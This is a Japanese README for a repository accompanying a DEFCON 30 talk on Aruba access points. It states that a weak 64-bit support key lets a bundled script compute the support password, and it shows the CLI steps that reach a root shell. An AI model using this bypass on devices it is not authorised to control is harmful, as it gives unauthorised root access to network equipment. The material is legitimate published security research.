
「Hunting Bugs In The Tropics」DEFCON 30 トークの補足資料
これは、DEFCON30でのプレゼンテーション「Hunting Bugs in the Tropics」で使用したスライドを含むリポジトリです。ArubaサポートのEC公開鍵はサイズが弱い(64ビット)ため、それを解読して得られた秘密鍵に基づいてサポートパスワードを計算するPythonスクリプトが含まれています。これにより、これらのデバイスのサブシェルから脱出し、完全なルートシェルを取得できます。
AP CLIで support を実行し、任意のユーザー名を指定して使用できます:
# support
Username (Please enter with @domain.com, in lowercase): a
Token: ED14-B132-D4BB-D428
Please generate one time password at https://ase.arubanetworks.com/decode_aos_key
Support Password:
その後、このリポジトリ内の support-access.py スクリプトにユーザー名とToken値を渡します。
$ ./support-access.py a ED14-B132-D4BB-D428
Password: 4197d68283f73d5c
その応答をサポートパスワードとして貼り付けます:
Support Password: 4197d68283f73d5c
Switching to Full Access
~ # whoami
root